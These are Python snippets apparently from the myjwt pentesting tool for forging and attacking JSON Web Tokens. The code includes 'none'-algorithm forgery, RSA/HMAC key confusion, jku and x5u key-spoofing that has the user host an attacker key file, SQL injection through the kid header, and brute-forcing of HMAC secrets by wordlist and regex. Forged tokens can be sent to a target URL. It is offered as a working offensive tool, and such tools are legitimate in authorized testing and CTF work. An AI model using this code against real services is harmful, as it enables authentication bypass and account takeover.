def test_encode_jwt(): """ Test encode_jwt method in utils.py """ with pytest.raises(InvalidJwtJson): encode_jwt({}) new_jwt = encode_jwt(jwt_json) assert new_jwt + "." == jwt
def user_none_vulnerability(jwt_json: Dict) -> None: """ Print for none vulnerability. Parameters ---------- jwt_json: Dict your jwt json (use encode_to_json.Check Doc). """ jwt = none_vulnerability(encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]) copy_to_clipboard(jwt) click.echo(NEW_JWT + jwt)
def user_confusion_rsa_hmac(jwt_json: Dict, hmac: str) -> None: """ Print for rsa/hmac confusion. Parameters ---------- jwt_json: Dict your jwt json (use encode_to_json.Check Doc). hmac: str path of your public key. """ jwt = confusion_rsa_hmac( encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE], hmac, ) copy_to_clipboard(jwt) click.echo(NEW_JWT + jwt)
def user_x5u_by_pass(jwt_json: Dict, url: str) -> None: """ Print for x5u bypass method. Parameters ---------- jwt_json: Dict your jwt json (use encode_to_json.Check Doc). url: str your url """ new_jwt = jku_vulnerability( jwt=encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE], url=url, ) click.echo(NEW_JWT + new_jwt) copy_to_clipboard(new_jwt) click.echo( f"Please run python -m http.server --bind {url} .Before send your jwt", )
def user_kid_injection(jwt_json: Dict, injection: str) -> str: """ Print for kid injection method. Parameters ---------- jwt_json: Dict your jwt json (use encode_to_json.Check Doc). injection: str your injection Returns ---------- str Your jwt. """ return inject_sql_kid( jwt=encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE], injection=injection, )
def user_bruteforce_wordlist(jwt_json: Dict, wordlist: str) -> None: """ Print For bruteforce method. Parameters ---------- jwt_json: Dict your jwt json (use encode_to_json.Check Doc). wordlist: str path of your wordlist """ if "HS" not in jwt_json[HEADER]["alg"]: click.echo(CHECK_DOCS) key = bruteforce_wordlist( encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE], wordlist, ) if key == "": click.echo(NOT_CRAKED) else: copy_to_clipboard(key) click.echo(CRACKED + key)
def none_vulnerability(jwt: str) -> str: """ Check none Vulnerability. Parameters ---------- jwt: str your jwt string. Returns ------- str your new jwt. Raises ------- InvalidJWT if your jwt is not valid. """ if not is_valid_jwt(jwt): raise InvalidJWT("Invalid JWT format") jwt_json = change_alg(jwt_to_json(jwt), "none") return encode_jwt(jwt_json) + "."
from myjwt.modify_jwt import add_header from myjwt.modify_jwt import add_payload from myjwt.modify_jwt import change_payload from myjwt.utils import encode_jwt from myjwt.utils import jwt_to_json from myjwt.utils import SIGNATURE jwt = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjpudWxsfQ.Tr0VvdP6rVBGBGuI_luxGCOaz6BbhC6IxRTlKOW8UjM" # header {"typ": "JWT", "alg": "HS256"} # payload {"user": null} jwt_json = jwt_to_json(jwt) # "header" = {"typ": "JWT", "alg": "HS256"} # "payload" = {"user": null} # "signature" = "Tr0VvdP6rVBGBGuI_luxGCOaz6BbhC6IxRTlKOW8UjM" jwt_json = add_payload(jwt_json, {"username": "******", "password": "******"}) # "header" = {"typ": "JWT", "alg": "HS256"} # "payload" = {"username": "******", "password": "******"} # "signature" = "Tr0VvdP6rVBGBGuI_luxGCOaz6BbhC6IxRTlKOW8UjM" jwt_json = add_header(jwt_json, {"kid": "001"}) # "header" = {"typ": "JWT", "alg": "HS256", "kid": "001"} # "payload" = {"username": "******", "password": "******"} # "signature" = "Tr0VvdP6rVBGBGuI_luxGCOaz6BbhC6IxRTlKOW8UjM" jwt_json = change_payload(jwt_json, {"username": "******"}) # "header" = {"typ": "JWT", "alg": "HS256", "kid": "001"} # "payload" = {"username": "******"} # "signature" = "Tr0VvdP6rVBGBGuI_luxGCOaz6BbhC6IxRTlKOW8UjM" jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE] print(jwt)
def myjwt_cli(jwt, **kwargs): """ \b This cli is for pentesters, CTF players, or dev. You can modify your jwt, sign, inject ,etc... Full documentation is at http://myjwt.readthedocs.io. If you see problems or enhancement send an issue.I will respond as soon as possible. Enjoy :) All new jwt will be copy to the clipboard. \f Parameters ---------- jwt: str your jwt kwargs: Dict all option value """ if not is_valid_jwt(jwt): sys.exit(NOT_VALID_JWT) # detect if some options are here # if no option detected print user_interface interface_mode = True for option in kwargs.values(): if not (option is None or option == () or not option or option == "GET"): interface_mode = False if interface_mode: user_interface(jwt) sys.exit() if kwargs["bruteforce"]: jwt_json = jwt_to_json(jwt) if "HS" not in jwt_json[HEADER]["alg"]: sys.exit(CHECK_DOCS) key = bruteforce_wordlist(jwt, kwargs["bruteforce"]) if key == "": sys.exit(NOT_CRAKED) else: copy_to_clipboard(key) click.echo(CRACKED + key) if (not kwargs["add_header"] and not kwargs["add_payload"] and not kwargs["full_payload"]): sys.exit() if kwargs["add_payload"]: payload_dict = dict() for payload in kwargs["add_payload"]: new_str = payload.split("=") if len(new_str) != 2: sys.exit(VALID_PAYLOAD) payload_dict[new_str[0]] = new_str[1] jwt_json = add_payload(jwt_to_json(jwt), payload_dict) jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE] if kwargs["add_header"]: header_dict = dict() for header in kwargs["add_header"]: new_str = header.split("=") if len(new_str) != 2: sys.exit(VALID_HEADER) header_dict[new_str[0]] = new_str[1] jwt_json = add_header(jwt_to_json(jwt), header_dict) jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE] if kwargs["full_payload"]: try: jwt_json = change_payload( jwt_to_json(jwt), json.loads(kwargs["full_payload"]), ) jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE] except JSONDecodeError: sys.exit(VALID_PAYLOAD_JSON) if kwargs["x5u"]: jwt = x5u_vulnerability( jwt, url=kwargs["x5u"], pem=kwargs["key"], crt=kwargs["crt"], file=kwargs["file"], ) copy_to_clipboard(jwt) click.echo(NEW_JWT + jwt) if kwargs["jku"]: jwt = jku_vulnerability( jwt, kwargs["jku"], kwargs["file"], kwargs["key"], ) copy_to_clipboard(jwt) click.echo(NEW_JWT + jwt) click.echo( f"Please run python -m http.server --bind {kwargs['jku']} .Before send your jwt", ) if kwargs["kid"]: jwt = inject_sql_kid(jwt, kwargs["kid"]) if not kwargs["sign"]: copy_to_clipboard(jwt) click.echo(NEW_JWT + jwt) if kwargs["hmac"]: jwt = confusion_rsa_hmac(jwt, kwargs["hmac"]) copy_to_clipboard(jwt) click.echo(NEW_JWT + jwt) if kwargs["none_vulnerability"]: jwt_json = change_alg(jwt_to_json(jwt), "none") jwt = encode_jwt(jwt_json) + "." copy_to_clipboard(jwt) click.echo(NEW_JWT + jwt) if kwargs["sign"]: jwt_json = jwt_to_json(jwt) if "HS" not in jwt_json[HEADER]["alg"]: sys.exit(CHECK_DOCS) jwt = signature(jwt_json, kwargs["sign"]) copy_to_clipboard(jwt) click.echo(NEW_JWT + jwt) if kwargs["verify"]: jwt_json = jwt_to_json(jwt) if "HS" not in jwt_json[HEADER]["alg"]: sys.exit(CHECK_DOCS) new_jwt = signature(jwt_json, kwargs["verify"]) click.echo( VALID_SIGNATURE if new_jwt.split(".")[2] == jwt.split(".")[2] else INVALID_SIGNATURE, ) if kwargs["crack"]: jwt_json = jwt_to_json(jwt) if "HS" not in jwt_json[HEADER]["alg"]: sys.exit(CHECK_DOCS) all_string = list(exrex.generate(kwargs["crack"])) click.echo( kwargs["crack"] + " have " + str(len(all_string)) + " possibilities", ) with click.progressbar( all_string, label="Keys", length=len(all_string), ) as bar: for key in bar: new_jwt = signature(jwt_json, key) if new_jwt.split(".")[2] == jwt.split(".")[2]: copy_to_clipboard(key) sys.exit("Key found: " + key) sys.exit(INVALID_SIGNATURE) if kwargs["url"]: data_dict = dict() for d in kwargs["data"]: new_str = d.split("=") if len(new_str) != 2: sys.exit(VALID_DATA) if new_str[1] == "MY_JWT": data_dict[new_str[0]] = jwt else: data_dict[new_str[0]] = new_str[1] cookies_dict = dict() for cookie in kwargs["cookies"]: new_str = cookie.split("=") if len(new_str) != 2: sys.exit(VALID_COOKIES) if new_str[1] == "MY_JWT": cookies_dict[new_str[0]] = jwt else: cookies_dict[new_str[0]] = new_str[1] try: response = send_jwt_to_url( kwargs["url"], kwargs["method"], data_dict, cookies_dict, jwt, ) click.echo(response.text) except requests.exceptions.ConnectionError: sys.exit("Connection Error. Verify your url.") if kwargs["print"]: copy_to_clipboard(jwt) print_decoded(jwt) if (not kwargs["none_vulnerability"] and not kwargs["hmac"] and not kwargs["bruteforce"] and not kwargs["sign"] and not kwargs["verify"] and not kwargs["jku"] and not kwargs["x5u"] and not kwargs["print"]): copy_to_clipboard(jwt) click.echo(NEW_JWT + jwt) sys.exit()
def x5u_vulnerability(jwt=None, url=None, crt=None, pem=None, file=None): """ Check jku Vulnerability. Parameters ---------- jwt: str your jwt. url: str your url. crt: str crt path file pem: str pem file name file: str jwks file name Returns ------- str your new jwt. """ if not is_valid_jwt(jwt): raise InvalidJWT("Invalid JWT format") if file is None: file = "jwks_with_x5c.json" jwt_json = jwt_to_json(jwt) if "x5u" not in jwt_json[HEADER]: raise InvalidJWT("Invalid JWT format JKU missing") if crt is None or pem is None: crt, pem = create_crt() with open(crt) as f: content = f.read() f.close() x5u = requests.get(jwt_json[HEADER]["x5u"]).json() x5u["keys"][0]["x5c"] = (content.replace("-----END CERTIFICATE-----", "").replace( "-----BEGIN CERTIFICATE-----", "").replace("\n", "")) if ".json" not in file: file += ".json" if not url.endswith("/"): url += "/" jwt_json[HEADER]["x5u"] = f"{url}{file}" f = open(file, "w") f.write(json.dumps(x5u)) f.close() s = encode_jwt(jwt_json) key = crypto.load_privatekey(crypto.FILETYPE_PEM, open(pem).read()) priv = key.to_cryptography_key() sign = priv.sign( bytes(s, encoding="UTF-8"), algorithm=hashes.SHA256(), padding=padding.PKCS1v15(), ) return s + "." + base64.urlsafe_b64encode(sign).decode("UTF-8").rstrip("=")
def jku_vulnerability(jwt=None, url=None, file=None, pem=None): """ Check jku Vulnerability. Parameters ---------- jwt: str your jwt. url: str your url. file: str your output json file name pem: str pem file name Returns ------- str your new jwt. """ if not is_valid_jwt(jwt): raise InvalidJWT("Invalid JWT format") jwt_json = jwt_to_json(jwt) if "jku" not in jwt_json[HEADER]: raise InvalidJWT("Invalid JWT format JKU missing") if file is None: file = "jwk-python.json" jwks = requests.get(jwt_json[HEADER]["jku"]).json() jwt_json[HEADER]["alg"] = "RS256" if ".json" not in file: file += ".json" if not url.endswith("/"): url += "/" jwt_json[HEADER]["jku"] = f"{url}{file}" if pem is None: key = crypto.PKey() key.generate_key(type=crypto.TYPE_RSA, bits=2048) else: key = crypto.load_privatekey(crypto.FILETYPE_PEM, open(pem).read()) priv = key.to_cryptography_key() pub = priv.public_key() e = pub.public_numbers().e n = pub.public_numbers().n jwks["keys"][0]["e"] = (base64.urlsafe_b64encode( e.to_bytes(e.bit_length() // 8 + 1, byteorder="big"), ).decode("UTF-8").rstrip("=")) jwks["keys"][0]["n"] = (base64.urlsafe_b64encode( n.to_bytes(n.bit_length() // 8 + 1, byteorder="big"), ).decode("UTF-8").rstrip("=")) f = open(file, "w") f.write(json.dumps(jwks)) f.close() s = encode_jwt(jwt_json) sign = priv.sign( bytes(s, encoding="UTF-8"), algorithm=hashes.SHA256(), padding=padding.PKCS1v15(), ) return s + "." + base64.urlsafe_b64encode(sign).decode("UTF-8").rstrip("=")
from myjwt.modify_jwt import change_payload from myjwt.utils import encode_jwt from myjwt.utils import jwt_to_json from myjwt.utils import SIGNATURE from myjwt.vulnerabilities import none_vulnerability jwt = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjpudWxsfQ.Tr0VvdP6rVBGBGuI_luxGCOaz6BbhC6IxRTlKOW8UjM" jwt_json = jwt_to_json(jwt) jwt_json = change_payload(jwt_json, {"username": "******"}) # "header" = {"typ": "JWT", "alg": "HS256"} # "payload" = {"username": "******"} # "signature" = "Tr0VvdP6rVBGBGuI_luxGCOaz6BbhC6IxRTlKOW8UjM" jwt = none_vulnerability(encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]) # "header" = {"typ": "JWT", "alg": "none"} # "payload" = {"username": "******"} # "signature" = "" print(jwt)
def signature(jwt_json: Dict, key: str) -> str: """ Sign your jwt. Parameters ---------- jwt_json: Dict your jwt json (use encode_to_json.Check Doc). key: str key for dign your new jwt. Returns ------- str new jwt. Raises ------- InvalidJwtJson if your jwt_json is not a Dict. UnknownAlg if your alg is not a valid alg. Accepted: none, HS{256,384,512}. """ if not is_valid_jwt_json(jwt_json): raise InvalidJwtJson("Invalid JWT json format") if jwt_json[HEADER]["alg"] == "none": return encode_jwt(jwt_json) + "." elif jwt_json[HEADER]["alg"] == "HS256": jwt = encode_jwt(jwt_json) signature_hmac = hmac.new( key.encode(), jwt.encode(), hashlib.sha256, ).digest() new_signature = (base64.urlsafe_b64encode(signature_hmac).decode( "UTF-8").strip("=")) return jwt + "." + new_signature elif jwt_json[HEADER]["alg"] == "HS384": jwt = encode_jwt(jwt_json) signature_hmac = hmac.new( key.encode(), jwt.encode(), hashlib.sha384, ).digest() new_signature = (base64.urlsafe_b64encode(signature_hmac).decode( "UTF-8").strip("=")) return jwt + "." + new_signature elif jwt_json[HEADER]["alg"] == "HS512": jwt = encode_jwt(jwt_json) signature_hmac = hmac.new( key.encode(), jwt.encode(), hashlib.sha512, ).digest() new_signature = (base64.urlsafe_b64encode(signature_hmac).decode( "UTF-8").strip("=")) return jwt + "." + new_signature raise UnknownAlg( "Unknown alg " + jwt_json[HEADER]["alg"] + "send an issue please.", )